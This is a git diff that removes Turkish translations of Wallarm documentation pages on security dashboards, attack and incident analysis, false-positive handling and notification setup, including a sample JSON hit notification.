yükleyici](all-in-one.md) - * [NGINX için modüllere sahip Docker konteyneri](docker-container.md) - * [Wallarm modülleri entegre NGINX Ingress controller](ingress-controller.md) - * [Sidecar controller](sidecar-proxy.md) - * [Bulut node imajı](cloud-image.md) - * [Multi-tenant node](multi-tenant.md) - - * Native Node: - * [All-in-one yükleyici](native-node/all-in-one.md) - * [Helm chart](native-node/helm-chart.md) - * [Docker imajı](native-node/docker-image.md) - ----------- - -[Wallarm ürün ve bileşenlerindeki diğer güncellemeler →](https://changelog.wallarm.com/) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/dashboards/api-discovery.md b/docs/latest-tr/user-guides/dashboards/api-discovery.md deleted file mode 100644 index 6ee030a746..0000000000 --- a/docs/latest-tr/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1,10 +0,0 @@ -[apid-overview]: ../../api-discovery/overview.md -[apid-risk-score]: ../../api-discovery/risk-score.md -[apid-track-changes]: ../../api-discovery/track-changes.md -[apid-rogue]: ../../api-discovery/rogue-api.md -[check-attack]: ../../user-guides/events/check-attack.md -[img-api-discovery-widget]: ../../images/user-guides/dashboard/api-discovery-widget.png - -# API Keşfi Gösterge Paneli - ---8<-- "../include/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/dashboards/bi-dashboards.md b/docs/latest-tr/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 5fbebdd88c..0000000000 --- a/docs/latest-tr/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/dashboards/owasp-api-top-ten.md b/docs/latest-tr/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index 4fd95990a3..0000000000 --- a/docs/latest-tr/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1,37 +0,0 @@ -# OWASP API 2023 Dashboard - -[OWASP API Security Top 10](https://owasp.org/www-project-api-security/), API'lerdeki güvenlik risklerinin değerlendirilmesi için altın standarttır. API'nizin bu tehditlere karşı güvenlik duruşunu ölçmenize yardımcı olmak için Wallarm, tehdit azaltımı için net görünürlük ve metrikler sağlayan bir dashboard sunar. - -[OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/) kapsamını ele alan dashboard, genel güvenlik durumunu değerlendirmenize ve belirlenen sorunları gidermek üzere proaktif güvenlik kontrolleri uygulamanıza olanak tanır. - -
              - -
              - -
              -
              - -## Tehdit değerlendirmesi - -Wallarm, uygulanan **güvenlik kontrolleri** ve keşfedilen güvenlik açıklarına dayanarak her API tehdidinin riskini tahmin eder: - -* **Kırmızı** - hiçbir güvenlik kontrolü uygulanmadıysa veya API'lerinizde aktif yüksek riskli güvenlik açıkları varsa ortaya çıkar. -* **Sarı** - güvenlik kontrolleri yalnızca kısmen uygulandıysa veya API'lerinizde aktif orta veya düşük riskli güvenlik açıkları varsa ortaya çıkar. -* **Yeşil**, API'lerinizin korunduğunu ve açık güvenlik açığı olmadığını gösterir. - -## OWASP API 2023 için Wallarm güvenlik kontrolleri - -Wallarm güvenlik platformu, aşağıdaki güvenlik kontrolleriyle OWASP API Security Top 10 2023'e karşı tam kapsamlı koruma sağlar: - -| OWASP API Top 10 tehdidi 2023 | Wallarm güvenlik kontrolleri | -| ----------------------- | ------------------------ | -| [API1:2023 Broken Object Level Authorization](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md) |
              • Güvenlik açığı bulunan uç noktaları korumak için tetikleyicileri otomatik oluşturmak amacıyla [Otomatik BOLA azaltımı](../../api-discovery/bola-protection.md)
              | -| [API2:2023 Broken Authentication](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md) |
              • Kimlik doğrulama uç noktalarını hedefleyen brute-force saldırılarını azaltmak için [Brute force tetikleyicisi](../../admin-en/configuration-guides/protecting-against-bruteforce.md)
              | -| [API3:2023 Broken Object Property Level Authorization](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa3-broken-object-property-level-authorization.md) |
              • Güvenlik açıklarını tespit etmek için [Güvenlik Sorunlarını Algılama](../../api-attack-surface/security-issues.md) etkin
              • [BOLA tetikleyicileri](../../admin-en/configuration-guides/protecting-against-bola-trigger.md)
              • [API Keşfi](../../api-discovery/overview.md) ile bulunan uç noktalar için [Otomatik BOLA koruması](../../admin-en/configuration-guides/protecting-against-bola.md)
              | -| [API4:2023 Unrestricted Resource Consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md) |
              • Çoğunlukla Hizmet Reddi'ne (DoS) yol açarak API'yi tepkisiz hatta kullanılamaz hale getiren brute-force saldırılarını azaltmak için [Brute force tetikleyicisi](../../admin-en/configuration-guides/protecting-against-bruteforce.md)
              | -| [API5:2023 Broken Function Level Authorization](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md) |
              • Bu tehdidin sömürülmesine de imkan veren zorla gezinme girişimlerini azaltmak için [Zorla gezinme tetikleyicisi](../../admin-en/configuration-guides/protecting-against-bruteforce.md)
              | -| [API6:2023 Unrestricted Access to Sensitive Business Flows](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md) |
              • Kötü niyetli bot eylemlerini azaltan [API Kötüye Kullanımının Önlenmesi](../../api-abuse-prevention/overview.md)
              | -| [API7:2023 Server Side Request Forgery](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa7-server-side-request-forgery.md) |
              • Güvenlik açıklarını tespit etmek için [Güvenlik Sorunlarını Algılama](../../api-attack-surface/security-issues.md) etkin
              • Uygun [mode](../../admin-en/configure-wallarm-mode.md)'da çalışan [Filtreleme düğümü](../../about-wallarm/overview.md#how-wallarm-works)
              | -| [API8:2023 Security Misconfiguration](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa8-security-misconfiguration.md) |
              • Düğüm sürümlerini ve güvenlik ilkelerini güncel tutmak için Wallarm düğüm öz-denetimleri (bkz. [sorunların nasıl ele alınacağı](../../faq/node-issues-on-owasp-dashboards.md))
              | -| [API9:2023 Improper Inventory Management](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa9-improper-inventory-management.md) |
              • Gerçek trafiğe dayalı olarak fiili API envanterini otomatik keşfetmek için [API Keşfi](../../api-discovery/overview.md)
              | -| [API10:2023 Unsafe Consumption of APIs](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xaa-unsafe-consumption-of-apis.md) |
              • Güvenlik açıklarını tespit etmek için [Güvenlik Sorunlarını Algılama](../../api-attack-surface/security-issues.md) etkin
              | \ No newline at end of file diff --git a/docs/latest-tr/user-guides/dashboards/threat-prevention.md b/docs/latest-tr/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index a340fc9f62..0000000000 --- a/docs/latest-tr/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1,32 +0,0 @@ -# Threat Prevention Panosu - -Kötü amaçlı trafik özelliklerini belirli bir zaman dilimi için **Threat Prevention** panosuyla inceleyin. Kötü amaçlı trafik hacmine ve saldırı türlerine, kaynaklara, protokollere, kimlik doğrulama yöntemlerine vb. göre dağılımına dair net bir görünüm edinin. - -Pano, tehdit kalıplarını belirlemeye yardımcı olur. Saldırganların sistemi nasıl sömürmeye çalıştıklarına dair net bir görünüm, tehditlerin daha hızlı tespit edilmesini ve daha bilinçli karşılıklar verilmesini sağlar. Bu, genel güvenlik duruşunun iyileştirilmesine katkıda bulunur ve proaktif önlemler alınmasına yardımcı olur. - -Farklı saldırı türleri (örn. DDoS, SQL injection, brute force) ve protokoller (örn. HTTP, HTTPS, FTP) farklı savunma stratejileri gerektirebileceğinden, saldırı yöntemlerinin ve trafiğin dağılımını bilerek güvenlik ekipleri, daha fazla olayı önleyen belirli karşı önlemleri (örn. rate-limiting, güvenlik duvarı kuralları, WAAP yapılandırmaları, vb.) uygulayabilirler. - -Bilgiler aşağıdaki widget’larda sunulur: - -* İsteklerle karşılaşma hızı -* Normal ve kötü amaçlı trafik -* Bir dönem özeti -* Saldırı kaynakları -* Saldırı hedefleri -* Saldırı türleri -* CVE'ler -* API protokollerine yönelik saldırılar -* Saldırılarda kimlik doğrulama - -
              - -
              - -
              -
              - -Aşağıdakileri göz önünde bulundurun: - -* [Hit](../../glossary-en.md#hit), node tarafından eklenen meta verilerle birlikte kötü amaçlı bir istektir -* Engellenen hits sayısı, bazı konumlar için [trafik filtreleme modu](../../admin-en/configure-wallarm-mode.md) yalnızca `monitoring` olabileceğinden, tespit edilenlerden daha az olabilir -* Saldırı türlerinin açıklamalarını [buradan](../../attacks-vulns-list.md) okuyabilirsiniz \ No newline at end of file diff --git a/docs/latest-tr/user-guides/events/check-attack.md b/docs/latest-tr/user-guides/events/check-attack.md deleted file mode 100644 index b392d67cda..0000000000 --- a/docs/latest-tr/user-guides/events/check-attack.md +++ /dev/null @@ -1,191 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[img-show-falsepositive]: ../../images/user-guides/events/filter-for-falsepositive.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action -[img-verify-attack]: ../../images/user-guides/events/verify-attack.png -[al-brute-force-attack]: ../../attacks-vulns-list.md#brute-force-attack -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-bola]: ../../attacks-vulns-list.md#broken-object-level-authorization-bola -[link-analyzing-attacks]: analyze-attack.md -[img-false-attack]: ../../images/user-guides/events/false-attack.png -[img-removed-attack-info]: ../../images/user-guides/events/removed-attack-info.png -[link-check-attack]: check-attack.md -[link-false-attack]: false-attack.md -[img-current-attack]: ../../images/user-guides/events/analyze-current-attack.png -[glossary-attack-vector]: ../../glossary-en.md#malicious-payload -[link-attacks]: ../../user-guides/events/check-attack.md -[link-incidents]: ../../user-guides/events/check-incident.md -[link-sessions]: ../../api-sessions/overview.md - -# Saldırı Analizi - -Bu makale, Wallarm düğümü tarafından tespit edilen saldırıları nasıl analiz edebileceğinizi ve bunlarla ilgili hangi işlemleri gerçekleştirebileceğinizi açıklar. - -### Saldırı analizi - -Wallarm platformu tarafından tespit edilen tüm [saldırılar](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components), Wallarm Console’un **Attacks** bölümünde görüntülenir. Listeyi saldırı tarihi, türü ve diğer kriterlere göre [filtreleyebilir](../../user-guides/search-and-filters/use-search.md), ayrıntılı analiz için herhangi bir saldırıyı ve içerdiği istekleri genişletebilirsiniz. - -Tespit edilen bir saldırı [yanlış pozitif](#false-positives) çıkarsa, gelecekte benzer yanlış pozitiflerin önüne geçmek için onu hemen böyle işaretleyebilirsiniz. Ayrıca tespit edilen saldırılar temelinde kurallar oluşturabilir ve benzer tehditleri azaltmak için diğer Wallarm yapılandırmalarını gerçekleştirebilirsiniz. - -
              - -
              - -
              -
              - -Wallarm’da: - -* **Saldırı (Attack)** bir [hit](grouping-sampling.md#grouping-of-hits) grubudur -* **Hit**, düğüm tarafından eklenen meta verilerle birlikte kötü amaçlı bir istektir -* **Kötü amaçlı payload**, saldırı işareti taşıyan istek parçasıdır - -Ayrıntıları [burada](../../about-wallarm/protecting-against-attacks.md#what-is-attack-and-what-are-attack-components) okuyun. - -Her saldırı ayrıntısı, saldırının hit’leri ve kötü amaçlı payload özetini içeren analiz için gerekli tüm bilgileri barındırır. Analizi basitleştirmek için, saldırı ayrıntılarında yalnızca benzersiz hit’ler saklanır. Tekrarlanan kötü amaçlı istekler Wallarm Cloud’a yüklenmez ve görüntülenmez. Bu işleme [hit örnekleme](grouping-sampling.md#sampling-of-hits) denir. - -Hit örnekleme, saldırı tespiti kalitesini etkilemez ve Wallarm düğümü, hit örnekleme açık olsa bile uygulamalarınızı ve API’lerinizi korumaya devam eder. - - -## Tehdit aktörü faaliyetlerinin tam bağlamı - ---8<-- "../include/request-full-context.md" - - -## Yanlış pozitifler - -Yanlış pozitif, meşru istekte [saldırı işaretleri](../../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) tespit edildiğinde oluşur. - -Filtreleme düğümünün gelecekte bu tür istekleri saldırı olarak algılamasını önlemek için, **saldırının tüm ya da belirli isteklerini yanlış pozitif olarak işaretleyebilirsiniz**. Bu, benzer isteklerde benzer saldırı işareti tespitini atlayacak bir kuralı otomatik olarak oluşturur, ancak Wallarm Console’da görünmez. - -Yanlış pozitif işaretini yalnızca uygulandıktan sonraki birkaç saniye içinde geri alabilirsiniz. Daha sonra geri almak isterseniz, bu yalnızca [Wallarm teknik desteğine](mailto: support@wallarm.com) talep göndererek yapılabilir. - -Saldırı listesi varsayılan görünümü yalnızca güncel saldırıları (yanlış pozitifler olmadan) gösterir – bunu değiştirmek için, **All attacks** altında **Default view**’den **With false positives** veya **Only false positives** seçeneğine geçin. - -![Yanlış pozitif filtresi](../../images/user-guides/events/filter-for-falsepositive.png) - -## Saldırılara yanıt verme - -Uygun olduğunda koruma tedbirlerini ayarlayabilmek için uygulamalarınızın ve API’lerinizin saldırılara karşı düzgün şekilde korunup korunmadığını anlamak önemlidir. Bu anlayışı edinmek ve uygun şekilde yanıtlamak için **Attacks** bölümündeki bilgileri kullanabilirsiniz. - -Bu görevle uğraşırken, hangi tür saldırının gerçekleştiğini belirlemeniz gerekir; bu size hangi Wallarm mekanizmalarının koruma sağladığını gösterecek ve gerekirse bu mekanizmaları ayarlamanıza yardımcı olacaktır: - -1. **Belirleyin** - **Payload** alanı bağlam menüsünden **Show only**’yi seçin, ardından **Type** filtresine ve arama alanı içeriğine dikkat edin. -1. Koruma için neler yapıldığını kontrol edin - **Status** sütununa bakın: - - * `Blocked` - saldırının tüm hit’leri filtreleme düğümü tarafından engellendi. - * `Partially blocked` - saldırının bazı hit’leri engellendi, diğerleri yalnızca kaydedildi. - * `Monitoring` - saldırının tüm hit’leri kaydedildi ancak engellenmedi. - * `Bot detected` - bu bir bottur, saldırı içindeki eylemi kontrol edin. - -1. İsteğe bağlı (önerilir) olarak, saldırının kötü amaçlı isteklerinin [tam bağlamını araştırın](#full-context-of-threat-actor-activities): bunların hangi [kullanıcı oturumuna](../../api-sessions/overview.md) ait olduğunu ve bu oturumdaki isteklerin tam sırasını. - - Bu, tehdit aktörünün tüm faaliyetlerini ve mantığını görmenizi, saldırı vektörlerini ve hangi kaynakların tehlikeye atılabileceğini anlamanızı sağlar. - -1. Gerçek bir saldırı olmadığını düşünüyorsanız, [yanlış pozitif](#false-positives) olarak işaretleyin. -1. **Anlayın** - saldırıyı tespit eden ve yanıtlayan Wallarm mekanizmasının farkında olun. -1. **Ayarlayın** - Wallarm’ın davranışını ayarlayın (mekanizmaya göre “nasıl” değişir). - -| Belirleyin | Anlayın | Ayarlayın | -| -- | -- | -- | -| `sqli`, `xss`, `rce`, `ptrav`, `crlf`, `nosqli`, `ssi` [vb.](../../user-guides/search-and-filters/use-search.md#search-by-attack-type) | [Saldırı tespiti için standart araçlar](../../about-wallarm/protecting-against-attacks.md#tools-for-attack-detection) (libproton, libdetection ve kurallar) | Bir saldırıyı genişletin ve saldırı için CVE özetini ve ayrı istekler için CVE’leri [inceleyin](../../demo-videos/events-inspection.md). Düğüm moduna (`final_wallarm_mode` etiketi) dikkat edin, **Rules WAF** ([US](https://us1.my.wallarm.com/rules) veya [EU](https://my.wallarm.com/rules)) bölümünü ziyaret edin, saldırıdan uygulama adına göre kuralları analiz edin. Gerekirse, kuralları veya uygulamalar ya da bunların belirli host ya da uç noktaları için [filtration mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)’u ayarlayın. | -| [`custom_rule`](../../user-guides/search-and-filters/use-search.md#search-by-regexp-based-customer-rule) | [Özel saldırı dedektörü](../../user-guides/rules/regex-rule.md) | Bir saldırıyı genişletin ve **Detected by custom rules** bağlantı(lar)ını takip edin - gerekirse, kural(lar)ı [değiştirin](../../user-guides/rules/regex-rule.md), belirli dallar için [kısmi olarak devre dışı bırakma](../../user-guides/rules/regex-rule.md#partial-disabling) dahil. | -| `vpatch` | [Sanal yama](../../user-guides/rules/vpatch-rule.md) | **Rules WAF** bölümünü ziyaret edin ([US](https://us1.my.wallarm.com/rules) veya [EU](https://my.wallarm.com/rules)), “Create virtual patch” kurallarını arayın, gerekirse saldırınızla ilgili kuralı ayarlayın. Sanal yamaların filtration mode’dan bağımsız çalıştığını unutmayın. | -| `brute`,
              `dirbust`,
              `bola`,
              `multiple_payloads` | [Trigger](../../user-guides/triggers/triggers.md) ve IP listeleri: [denylist’teki IP’lerden gelen istekler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) | Bir saldırıyı genişletin ve istekleri analiz ettikten sonra, görüntülenen trigger adını (varsa) tıklayın ve parametrelerini değiştirin. Ayrıca trigger etiketlerine dikkat edin, ardından **Triggers** ([US](https://us1.my.wallarm.com/triggers) veya [EU](https://my.wallarm.com/triggers)) bölümüne gidin ve ada göre trigger’ı bulun, gerekiyorsa - ayarlayın.
              Eylem [`Blocked`](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) ise, bu denylist aracılığıyla yapılır - **IP Lists** ([US](https://us1.my.wallarm.com/ip-lists) veya [EU](https://my.wallarm.com/ip-lists)) bölümüne gidin ve IP’ye göre arama yapın: gerekiyorsa, IP’nin denylist’te kalma süresini ayarlayın. | -| `blocked_source` | IP listeleri: [denylist’teki IP’lerden gelen istekler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) | Bir saldırıyı genişletin ve denylist’teki IP’den gelen istekleri analiz edin; ardından, görüntülenen trigger adını tıklayın ve gerekirse trigger ayarlarını değiştirin. Manuel olarak denylist’e eklenen IP’ler (`blocked_source`) için **IP Lists** ([US](https://us1.my.wallarm.com/ip-lists) veya [EU](https://my.wallarm.com/ip-lists)) bölümüne gidin ve IP’ye göre arayın: gerekiyorsa, IP’nin denylist’te kalma süresini ayarlayın. | -| **Belirli modül veya işlev:** | -| `api_abuse`, `account_takeover`, `security_crawlers`, `scraping`, `resource_consumption` ([ayrıntılar](../../attacks-vulns-list.md#api-abuse))
              - tümü için **Bot detected** durumuna dikkat edin | [API Abuse Prevention](../../api-abuse-prevention/overview.md) ve IP listeleri: [denylist’teki IP’lerden gelen istekler](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) | Bir saldırıyı genişletin ve bunun bir bot olduğuna dair [güveni](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works) kanıtlayan [ısı haritalarını](../../api-abuse-prevention/exploring-bots.md#attacks) analiz edin, saldırı tarihine ve kaynak IP’ye dikkat edin.
              Eylem [`Blocked`](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips) ise, bu denylist üzerinden yapılmıştır - **IP lists**’e gidin, tarihe ve IP’ye göre filtreleyin, IP adresi ayrıntılarını görmek için **Reason** sütununa tıklayın, bu ayrıntıları inceleyin, **Triggered profile**’a tıklayın, bunu inceleyin ve gerekirse [değiştirin](../../api-abuse-prevention/setup.md#creating-profiles).

              **Ayrıca şunları yapabilirsiniz**:
              • Bu IP’nin asla engellenmemesi için kaynak IP’yi [istisna listesine ekleyin](../../api-abuse-prevention/exceptions.md). Ayrıca, istisna listesinden IP’yi kaldırabilirsiniz (**API Abuse Prevention** → **Exception list**)
              • API abuse yapılandırması bunu otomatik yapması beklenmese bile, kaynak IP’yi denylist’e ekleyin.
              **Ek olarak**: **IP Lists** içinde, **Events**’e geri dönmek ve tüm ilgili saldırıları görmek için IP adresinin kendisine tıklayın.| -| `bola` | [API Discovery](../../api-discovery/overview.md) tarafından [BOLA otomatik koruması](../../api-discovery/bola-protection.md) | Bir saldırıyı genişletin, eğer tetikleyiciye bağlantı içermiyorsa (BOLA’dan manuel korumanın işareti) bu, **API Discovery** ([US](https://us1.my.wallarm.com/api-discovery) veya [EU](https://my.wallarm.com/api-discovery)) modülü tarafından sağlanan otomatik korumadır. Gerekirse, bu korumayı devre dışı bırakmak veya ayarlarıyla birlikte şablonu ayarlamak için **BOLA Protection** ([US](https://us1.my.wallarm.com/bola-protection) veya [EU](https://my.wallarm.com/bola-protection)) bölümüne gidin. | -| `undefined_endpoint`, `undefined_parameter`, `invalid_parameter_value`, `missing_parameter`, `missing_auth`, `invalid_request` (hepsini aramak için `api_specification`, [ayrıntılar](../../attacks-vulns-list.md#api-specification)) | [API Specification Enforcement](../../api-specification-enforcement/overview.md) | Bir saldırıyı genişletin ve ihlal edilen spesifikasyona giden bağlantıyı takip edin. Spesifikasyon iletişim kutusunda ayarları düzenlemek için **API specification enforcement** sekmesini kullanın, **Specification upload** sekmesi ile spesifikasyonun en son sürümünü yüklemeyi değerlendirin. | -| `gql_doc_size`, `gql_value_size`, `gql_depth`, `gql_aliases`, `gql_docs_per_batch`, `gql_introspection`, `gql_debug` (hepsini aramak için `graphql_attacks`, [ayrıntılar](../../attacks-vulns-list.md#graphql-attacks)) | [GraphQL API Protection](../../api-protection/graphql-rule.md) | Bir saldırıyı genişletin ve **GraphQL security policies** bağlantısını takip edin - gerekirse mevcut **Detect GraphQL attacks** kural(lar)ını değiştirin veya belirli dallar için ek kurallar oluşturun. | -| `credential_stuffing` | [Credential Stuffing Detection](../../about-wallarm/credential-stuffing.md) | Bir saldırıyı genişletin ve kullanılmaya çalışılan ele geçirilmiş kimlik bilgileri listesini kontrol edin, Credential Stuffing ([US](https://wallarm.us1.wallarm.com/credential-stuffing), [EU](https://my.wallarm.com/credential-stuffing) Cloud) bölümüne gidin ve özellikle izlenen kimlik doğrulama uç noktaları listesini, bu liste için önerileri ve ele geçirilmiş kimlik bilgileri hakkında yapılandırılmış bildirimleri içeren [yapılandırmayı](../../about-wallarm/credential-stuffing.md#configuring) kontrol edin. | - -## Panolar - -Wallarm, tespit edilen saldırıları analiz etmenize yardımcı olacak kapsamlı panolar sağlar. - -Wallarm’ın [Threat Prevention](../../user-guides/dashboards/threat-prevention.md) panosu, saldırılarla ilgili çok yönlü bilgiler dahil olmak üzere sisteminizin güvenlik duruşuna ilişkin genel metrikler sunar: kaynakları, hedefleri, türleri ve protokolleri. - -![Threat Prevention panosu](../../images/user-guides/dashboard/threat-prevention.png) - -[OWASP API Security Top 10](../../user-guides/dashboards/owasp-api-top-ten.md) panosu, saldırı bilgileri de dahil olmak üzere sisteminizin OWASP API Top 10 tehditlerine karşı güvenlik duruşuna ilişkin ayrıntılı görünürlük sağlar. - -![OWASP API Top 10](../../images/user-guides/dashboard/owasp-api-top-ten-2023-dash.png) - -## Bildirimler - -Wallarm, tespit edilen saldırılar, hit’ler ve kötü amaçlı payload’lar hakkında size bildirim gönderebilir. Bu sayede sisteminize yönelik saldırı girişimlerinden haberdar olur ve tespit edilen kötü amaçlı trafiği hızlıca analiz edebilirsiniz. Kötü amaçlı trafiğin analizi, yanlış pozitiflerin raporlanmasını, meşru isteklerin geldiği IP’lerin allowlist’e eklenmesini ve saldırı kaynaklarının denylist’e alınmasını içerir. - -Bildirimleri yapılandırmak için: - -1. Bildirim göndermek için sistemlerle [yerel entegrasyonları](../../user-guides/settings/integrations/integrations-intro.md) yapılandırın (örn. PagerDuty, Opsgenie, Splunk, Slack, Telegram). -2. Bildirim gönderme koşullarını ayarlayın: - - * Tespit edilen her hit için bildirim almak üzere, entegrasyon ayarlarında uygun seçeneği belirleyin. - - ??? info "JSON formatında tespit edilen hit bildirimi örneğini görün" - ```json - [ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } - ] - ``` - - * Saldırı, hit veya kötü amaçlı payload sayısı için bir eşik belirlemek ve eşik aşıldığında bildirim almak üzere uygun [trigger](../../user-guides/triggers/triggers.md)ları yapılandırın. - -## API çağrıları - -Saldırı ayrıntılarını almak için, Wallarm Console UI’ının yanı sıra [Wallarm API’yi doğrudan çağırabilirsiniz](../../api/overview.md). Aşağıda, **son 24 saatte tespit edilen ilk 50 saldırıyı alma** için bir API çağrısı örneği bulunmaktadır. - -Lütfen `TIMESTAMP` değerini, 24 saat önceki tarihi [Unix Timestamp](https://www.unixtimestamp.com/) formatına dönüştürerek değiştirin. - ---8<-- "../include/api-request-examples/get-attacks-en.md" - -!!! warning "100 veya daha fazla saldırıyı almak" - 100 veya daha fazla kayıttan oluşan saldırı ve hit kümeleri için, performansı optimize etmek amacıyla büyük veri kümelerini tek seferde almak yerine daha küçük parçalara bölerek almak en iyisidir. [İlgili istek örneğini inceleyin](../../api/request-examples.md#get-a-large-number-of-attacks-100-and-more) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/events/check-incident.md b/docs/latest-tr/user-guides/events/check-incident.md deleted file mode 100644 index 2eb00a6db5..0000000000 --- a/docs/latest-tr/user-guides/events/check-incident.md +++ /dev/null @@ -1,72 +0,0 @@ -[link-using-search]: ../search-and-filters/use-search.md -[img-attacks-tab]: ../../images/user-guides/events/check-attack.png -[img-current-attacks]: ../../images/glossary/attack-with-one-hit-example.png -[img-incidents-tab]: ../../images/user-guides/events/incident-vuln.png -[use-search]: ../search-and-filters/use-search.md -[search-by-attack-status]: ../search-and-filters/use-search.md#search-attacks-by-the-action -[link-attacks]: ../../user-guides/events/check-attack.md -[link-incidents]: ../../user-guides/events/check-incident.md -[link-sessions]: ../../api-sessions/overview.md - -# Olay Analizi - -Wallarm Console içinde, tespit edilen [olayları](../../glossary-en.md#security-incident) **Incidents** bölümünde analiz edebilirsiniz. Gerekli verileri bulmak için, [burada][use-search] açıklandığı şekilde arama alanını kullanın veya gerekli arama filtrelerini manuel olarak ayarlayın. - -## Olayları kontrol etme - -![Incidents sekmesi][img-incidents-tab] - -* **Date**: Kötü amaçlı isteğin tarih ve saati. - * Aynı türden birkaç istek kısa aralıklarla tespit edildiyse, tarih altında saldırı süresi görüntülenir. Süre, belirtilen zaman aralığında belirli bir türdeki ilk istek ile aynı türdeki son istek arasındaki zaman periyodudur. - * Saldırı şu anda gerçekleşiyorsa, uygun bir etiket görüntülenir. -* **Payloads**: Saldırı türü ve benzersiz [kötü amaçlı payload](../../glossary-en.md#malicious-payload) sayısı. -* **Hits**: Belirtilen zaman dilimindeki saldırıdaki hit (istek) sayısı. -* **Top IP / Source**: Kötü amaçlı isteklerin kaynaklandığı IP adresi. Kötü amaçlı istekler birden fazla IP adresinden geliyorsa, arayüz en fazla isteğin geldiği IP adresini gösterir. IP adresi için ayrıca aşağıdaki veriler görüntülenir: - * Belirtilen zaman aralığında aynı saldırı kapsamındaki isteklerin kaynaklandığı toplam IP adresi sayısı. - * IP adresinin kayıtlı olduğu ülke/bölge (IP2Location veya benzeri veritabanlarında bulunduysa) - * Kaynak türü; ör. **Public proxy**, **Web proxy**, **Tor** ya da IP'nin kayıtlı olduğu bulut platformu vb. (IP2Location veya benzeri veritabanlarında bulunduysa) - * IP adresi kötü amaçlı etkinliklerle biliniyorsa, **Malicious IPs** etiketi görünür. Bu, kamuya açık kayıtlar ve uzman doğrulamaları temel alınarak belirlenir -* **Domain / Path**: İsteğin hedeflediği alan adı, yol ve uygulama kimliği (ID). -* **Status**: Saldırı engelleme durumu ([trafik filtreleme modu](../../admin-en/configure-wallarm-mode.md) değerine bağlıdır): - * Blocked: saldırıdaki tüm hit'ler filtreleme düğümü tarafından engellendi. - * Partially blocked: saldırıdaki bazı hit'ler engellendi, diğerleri yalnızca kaydedildi. - * Monitoring: saldırıdaki tüm hit'ler kaydedildi ancak engellenmedi. -* **Parameter**: Kötü amaçlı isteğin parametreleri ve isteğe uygulanan [ayrıştırıcılar](../rules/request-processing.md) etiketleri -* **Vulnerabilities**: Olayın istismar ettiği güvenlik açığı. Güvenlik açığına tıklamak, ayrıntılı açıklamasına ve nasıl düzeltileceğine ilişkin talimatlara götürür. - -Olayları son isteğin zamanına göre sıralamak için, **Sort by latest hit** anahtarını kullanabilirsiniz. - -## Tehdit aktörü faaliyetlerinin tam bağlamı {#full-context-of-threat-actor-activities} - ---8<-- "../include/request-full-context.md" - -## Olaylara yanıt verme - -[Olaylar](../../glossary-en.md#security-incident), doğrulanmış bir güvenlik açığını hedef alan saldırılardır. - -![Incidents sekmesi][img-incidents-tab] - -**Incidents** bölümünde bir olay göründüğünde: - -1. İsteğe bağlı olarak (önerilir), olayın kötü amaçlı isteklerinin [tam bağlamını](#full-context-of-threat-actor-activities) araştırın: hangi [kullanıcı oturumuna](../../api-sessions/overview.md) ait olduklarını ve bu oturumdaki isteklerin tam sıralamasını. - - Bu, tehdit aktörünün tüm etkinliğini ve mantığını görmenizi, saldırı vektörlerini ve hangi kaynakların tehlikeye atılabileceğini anlamanızı sağlar. - -1. **Vulnerabilities** sütunundaki bağlantıyı takip ederek, bu güvenlik açığının nasıl düzeltileceğine ilişkin talimatlar ve ilgili olaylar listesi de dahil olmak üzere ayrıntılı güvenlik açığı bilgilerini alın. - - 